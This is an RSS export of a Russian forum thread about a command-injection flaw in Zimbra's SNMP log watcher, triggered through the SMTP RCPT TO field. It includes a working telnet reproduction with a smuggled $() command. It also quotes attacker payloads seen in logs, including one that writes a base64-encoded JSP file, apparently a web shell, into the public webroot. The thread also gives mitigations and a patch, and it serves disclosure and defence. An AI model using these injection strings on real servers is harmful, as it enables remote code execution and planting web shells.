<?xml version="1.0" encoding="koi8-r"?>
<rss version="0.91">
<channel>
    <title>OpenForum RSS: Инъекция через  RCPT TO: в postfix из комплекта Zimbra.</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html</link>
    <description>Кратко - вот повтор действий взлома&lt;br&gt;&lt;br&gt;$telnet xxx.ru 25&lt;br&gt;Trying 999.99.999.999...&lt;br&gt;Connected to xxx.ru.&lt;br&gt;Escape character is &apos;^&#093;&apos;.&lt;br&gt;220 xxx.ru ESMTP Postfix&lt;br&gt;HELO probe.test&lt;br&gt;250 xxx.ru&lt;br&gt;MAIL FROM: test&#064;probe.test&lt;br&gt;250 2.1.0 Ok&lt;br&gt;RCPT TO: &amp;lt;&quot;x: Service status change: localhost $(echo atas &amp;gt; mailboxd/webapps/zimbra/public/atas.txt) changed from stopped to running&quot;&#064;probe.test&amp;gt;&lt;br&gt;250 2.1.5 Ok&lt;br&gt;DATA&lt;br&gt;354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br&gt;atas&lt;br&gt;.&lt;br&gt;250 2.0.0 Ok: queued as 8691A9D04072&lt;br&gt;QUIT&lt;br&gt;221 2.0.0 Bye&lt;br&gt;Connection closed by foreign host.&lt;br&gt;&lt;br&gt;Это итог.&lt;br&gt;&lt;br&gt;$ls -l /opt/zimbra/mailboxd/webapps/zimbra/public/atas.txt&lt;br&gt;-rw-r----- 1 zimbra zimbra 5 Aug 13 20:51 /opt/zimbra/mailboxd/webapps/zimbra/public/atas.txt&lt;br&gt;&lt;br&gt;Грубо говоря, от пользователя, под которым постфикс, выполняется всё, что в $(). А это много...&lt;br&gt;&lt;br&gt;Дополнительно не проверял много, но при нескольких других вариантах строки с инъекцией код не исполняется. Вот почему-то именно такой вариант срабатывает.&lt;br&gt;&lt;br&gt;Возможно вариант обсуждался. Если кто помнит - подскажит</description>

<item>
    <title>Инъекция через  RCPT TO: в postfix из комплекта Zimbra. (Admin)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#13</link>
    <pubDate>Tue, 18 Aug 2026 12:14:09 GMT</pubDate>
    <description>&amp;gt;&amp;gt; Кратко - вот повтор действий взлома &lt;br&gt;&amp;gt; Да. Речь идёт о критической command injection уязвимости в SNMP-мониторинге Zimbra, исправленной &lt;br&gt;&amp;gt; в Zimbra Collaboration Suite 10.1.20, выпущенной 20 июля 2026 года.&lt;br&gt;&lt;br&gt;Зимбра - нехорошие люди. 10.1.20 доступна только за деньги. Пользователи открытой версии сидят на 10.1.18 и юзают костыли.&lt;br&gt;&lt;br&gt;https://github.com/Zimbra/packages/tags&lt;br&gt;</description>
</item>

<item>
    <title>- (нах.)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#12</link>
    <pubDate>Tue, 18 Aug 2026 10:37:10 GMT</pubDate>
    <description>&amp;gt; Log4j ни кого ни чему не научил. Прыжки на грабли надо делать &lt;br&gt;&amp;gt; олимпийским видом спорта &lt;br&gt;&lt;br&gt;мне кажется эти - вообще необучаемые.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;</description>
</item>

<item>
    <title>Инъекция через  RCPT TO: в postfix из комплекта Zimbra. (нах.)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#11</link>
    <pubDate>Tue, 18 Aug 2026 10:28:09 GMT</pubDate>
    <description>&amp;gt; По поводу &quot;google: zimbra vulnerabilites (latest)&quot; - да, посмотрю. Но проблема не &lt;br&gt;&amp;gt; обёртке Зимбры, а в постфиксе. И ещё - у меня Гугл &lt;br&gt;&lt;br&gt;проблема точно не в постфиксе  (впрочем, тебе уже ответили любители этого чуда, оказывается даже такие попадаются)&lt;br&gt;&lt;br&gt;&amp;gt; По поводу &quot; -rw-r----- 1 zimbra zimbra&quot; - да, постфикс в обёртке &lt;br&gt;&amp;gt; Зимбры выполняется от пользователя zimbra. Или что там ещё я не &lt;br&gt;&lt;br&gt;если авторы этого угребища даже не понимают зачем нужно разделение пользователей от которых запускаются демоны в юникс-лайк системах - добрый совет, выбрось это в помойку. Тут уже никакие костыли не помогут в принципе.&lt;br&gt;&lt;br&gt;(но я все же хочу верить в лучшее и вероятнее всего нет, он запускается не от этого пользователя. Не могут они быть ну настолько ... )&lt;br&gt;&lt;br&gt;&lt;br&gt;&amp;gt; По поводу &quot;ты создал issue на сайте проекта...?&quot;. На сайте которого из &lt;br&gt;&amp;gt; проектов, Зимбры или постфикса? Конечно не создал. Где создавать - это &lt;br&gt;&lt;br&gt;зимбры. &lt;br&gt;&lt;br&gt;</description>
</item>

<item>
    <title>Инъекция через  RCPT TO: в postfix из комплекта Zimbra. (tonys)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#10</link>
    <pubDate>Mon, 17 Aug 2026 22:19:55 GMT</pubDate>
    <description>&amp;gt; Кратко - вот повтор действий взлома &lt;br&gt;&lt;br&gt;Да. Речь идёт о критической command injection уязвимости в SNMP-мониторинге Zimbra, исправленной в Zimbra Collaboration Suite 10.1.20, выпущенной 20 июля 2026 года.&lt;br&gt;&lt;br&gt;Что именно происходит&lt;br&gt;&lt;br&gt;Уязвимость находится в цепочке:&lt;br&gt;&lt;br&gt;Zimbra &amp;#8594; zmswatch / Swatchdog &amp;#8594; обработка строк zimbra.log &amp;#8594; SNMP notification/trap&lt;br&gt;&lt;br&gt;Swatchdog (zmswatch) следит за zimbra.log и при определённых событиях, например изменении состояния сервиса, запускает действие для отправки SNMP trap. В штатной конфигурации соответствующие настройки находятся, в частности, в /opt/zimbra/conf/swatchrc.in, а рабочая конфигурация генерируется через zmsnmpinit.&lt;br&gt;&lt;br&gt;Проблема заключается в том, что данные, попадающие в обрабатываемую Swatchdog строку, могли быть использованы для внедрения произвольной команды. Поэтому злоумышленнику потенциально достаточно добиться попадания специально сформированных данных в обрабатываемый Zimbra log &amp;#8212; после чего уязвимый обработчик выполняет их в контексте</description>
</item>

<item>
    <title>Инъекция через  RCPT TO: в postfix из комплекта Zimbra. (eteveto)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#9</link>
    <pubDate>Mon, 17 Aug 2026 16:19:02 GMT</pubDate>
    <description>Угу. &lt;br&gt;diff swatchrc.in.bak swatchrc.in &lt;br&gt;26,27c26,27&lt;br&gt;&amp;lt; perlcode 0 sub dosnmp &#123;   my &#037;args = (&#064;_); print &quot;SNMP notification: $args&#123;MESSAGE&#125;&#092;n&quot;; &#096;$snmptrap $snmpsvctrap $snmpsvcname s $args&#123;SERVICE&#125; $snmpsvcstatus i $statuses&#123;$args&#123;STATUS&#125;&#125;&#096;; &#125;&lt;br&gt;&amp;lt; &lt;br&gt;---&lt;br&gt;&amp;gt; #JAD perlcode 0 sub dosnmp &#123;   my &#037;args = (&#064;_); print &quot;SNMP notification: $args&#123;MESSAGE&#125;&#092;n&quot;; &#096;$snmptrap $snmpsvctrap $snmpsvcname s $args&#123;SERVICE&#125; $snmpsvcstatus i $statuses&#123;$args&#123;STATUS&#125;&#125;&#096;; &#125;&lt;br&gt;&amp;gt; perlcode 0 sub dosnmp &#123; return 1; &#125;&lt;br&gt;&lt;br&gt;30c30,31&lt;br&gt;&amp;lt; watchfor /: Service status change: (&#092;S+) (.*) changed from stopped to running/&lt;br&gt;---&lt;br&gt;&amp;gt; #JAD watchfor /: Service status change: (&#092;S+) (.*) changed from stopped to running/&lt;br&gt;&amp;gt; watchfor /: Service status change: (&#092;S+) (&#091;a-z0-9_-&#093;+) changed from stopped to running/&lt;br&gt;&lt;br&gt;32c33,34&lt;br&gt;&amp;lt; watchfor /: Service status change: (&#092;S+) (.*) changed from running to stopped/&lt;br&gt;---&lt;br&gt;&amp;gt; #JAD watchfor /: Service status change: (&#092;S+) (.*) changed from running to stopped/&lt;br&gt;&amp;gt; watchfor /: Service status change: (&#092;S+) (&#091;a-z0-9_-&#093;+) changed from run</description>
</item>

<item>
    <title>Инъекция через  RCPT TO: в postfix из комплекта Zimbra. (Admin)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#8</link>
    <pubDate>Mon, 17 Aug 2026 15:12:00 GMT</pubDate>
    <description>Неофициальный патч&lt;br&gt;&lt;br&gt;#!/bin/sh&lt;br&gt;#&lt;br&gt;# JAD - Patch Zimbra swatchrc.in for SNMP exploit mitigation&lt;br&gt;#     - Jun 26, 2026&lt;br&gt;#&lt;br&gt;&lt;br&gt;swatchrc=/opt/zimbra/conf/swatchrc.in&lt;br&gt;&lt;br&gt;grep -q &apos;#JAD&apos; $swatchrc&lt;br&gt;if &#091; $? -eq 1 &#093;; then&lt;br&gt;&lt;br&gt;  # do not overwrite with zero sized file&lt;br&gt;  if &#091; -s $swatchrc &#093;; then&lt;br&gt;     cp $swatchrc $swatchrc.bak&lt;br&gt;     status=$?&lt;br&gt;  fi&lt;br&gt;&lt;br&gt;  # if copy succeeded then it is a go&lt;br&gt;  if &#091; $status -eq 0 &#093;; then&lt;br&gt;     echo &quot;Adding patch&quot;&lt;br&gt;&lt;br&gt;     perl -0777 -i -pe &apos;&lt;br&gt;       s&#123;&lt;br&gt;         ^(watchfor&#092;s+/&#092;:&#092;s+Service&#092;s+status&#092;s+change:&#092;s+&#092;(&#092;&#092;S&#092;+&#092;)&#092;s+&#092;(&#092;.&#092;*&#092;)&#092;s+changed&#092;s+from&#092;s+stopped&#092;s+to&#092;s+running/)&lt;br&gt;       &#125;&#123;&lt;br&gt;         &quot;#JAD $1&#092;n&quot; .&lt;br&gt;         &quot;watchfor /: Service status change: (&#092;&#092;S+) (&#091;a-z0-9_-&#093;+) changed from stopped to running/&quot;&lt;br&gt;       &#125;gexm;&lt;br&gt;&lt;br&gt;       s&#123;&lt;br&gt;         ^(watchfor&#092;s+/&#092;:&#092;s+Service&#092;s+status&#092;s+change:&#092;s+&#092;(&#092;&#092;S&#092;+&#092;)&#092;s+&#092;(&#092;.&#092;*&#092;)&#092;s+changed&#092;s+from&#092;s+running&#092;s+to&#092;s+stopped/)&lt;br&gt;       &#125;&#123;&lt;br&gt;         &quot;#JAD $1&#092;n&quot; .&lt;br&gt;         &quot;watchfor /: Service status change: (&#092;&#092;S+) (&#091;a-z0-9_-&#093;+) changed from running to stopped/&quot;</description>
</item>

<item>
    <title>- (eteveto)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#7</link>
    <pubDate>Sat, 15 Aug 2026 11:51:38 GMT</pubDate>
    <description>&amp;gt; Я просто отключил его командой zmprov ms $(zmhostname) -zimbraServiceEnabled snmp &lt;br&gt;&lt;br&gt;Ещё раз спасибо! Теперь я могу без нервов смотреть по логам что ко мне пытаются применить. Например, из свежего:&lt;br&gt;&lt;br&gt;Второе действие&lt;br&gt;&amp;lt;&quot;x: Service status change: z chmod u+w /opt/zimbra/jetty_base/webapps/zimbra/public;c=$(cat /opt/zimbra/data/tmp/snmpc_*&amp;#124;wc -c);&#091; $c -eq 493 &#093;&amp;&amp;cat /opt/zimbra/data/tmp/snmpc_*&amp;#124;base64 -d&amp;#124;gunzip -c&amp;gt;/opt/zimbra/jetty_base/webapps/zimbra/public/zz.jsp;rm -f /opt/zimbra/data/tmp/snmpc_* changed from stopped to running&quot;&#064;example.com&amp;gt;&lt;br&gt;&lt;br&gt;Предыдущее действие&lt;br&gt;&amp;lt;&quot;x: Service status change: z ;echo H4sIAPnrf2oC/21R0UoDMRB8v69YA4Wc2qtCH8T2RConCIJSK/iapts2cpeLe3u2xfbfTbgIVsxDIJOZ2clk3LsFp1YIuraMlmc7h7lg3PLAlcrYkV4rapDz19l9/0pA7yYZ/0hM5WriXLyrT5WZOjuN18kLk7Er0JAD4UeLDWcr5GdFqkJGkkJfinSUmCVIz8nBtmUJ+z3ozAsrmWamKSrHO5mm8JWAX3XLmfOmXFophhfDIA84IbdkR8khYdpF7jPVGptm0ppygQRu7mNY3PzBpRjMjR00a3EOoq/9rqOnm2eEC0OouSCqyb8GVSWZWoyM6ATOO3t2w4pYxrtJu1yi109RhekUhx/DMkAP1rXcmUfUhZp+wTL12bri02gfqy2NxQ7YrE2JIG</description>
</item>

<item>
    <title>- (Аноним)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#6</link>
    <pubDate>Fri, 14 Aug 2026 18:53:10 GMT</pubDate>
    <description>&amp;gt;следит за логом зимбры и парсит его, передавая результаты другим процессам. И при этом ничего не экранирует в найденных строках&lt;br&gt;&lt;br&gt;Log4j ни кого ни чему не научил. Прыжки на грабли надо делать олимпийским видом спорта&lt;br&gt;</description>
</item>

<item>
    <title>- (eteveto)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/5739.html#5</link>
    <pubDate>Fri, 14 Aug 2026 16:50:33 GMT</pubDate>
    <description>&amp;gt; Инъекция происходит через процесс swatch, входящий в состав службы Zimbra SNMP. Этот &lt;br&gt;&amp;gt; процесс следит за логом зимбры и парсит его, передавая результаты другим &lt;br&gt;&amp;gt; процессам. И при этом ничего не экранирует в найденных строках.&lt;br&gt;&amp;gt; Я просто отключил его командой zmprov ms $(zmhostname) -zimbraServiceEnabled snmp &lt;br&gt;&lt;br&gt;Спасибо! Да, после отключения snmp Зимбры действительно больше не исполняется.&lt;br&gt;&lt;br&gt;Тему можно закрывать.&lt;br&gt;&lt;br&gt;PS: только я не внимательный - мало задизейблить сервис, нужно его ещё и остановить. Ну, как минимум перезапустить саму Зимбру.&lt;br&gt;</description>
</item>

</channel>
</rss>
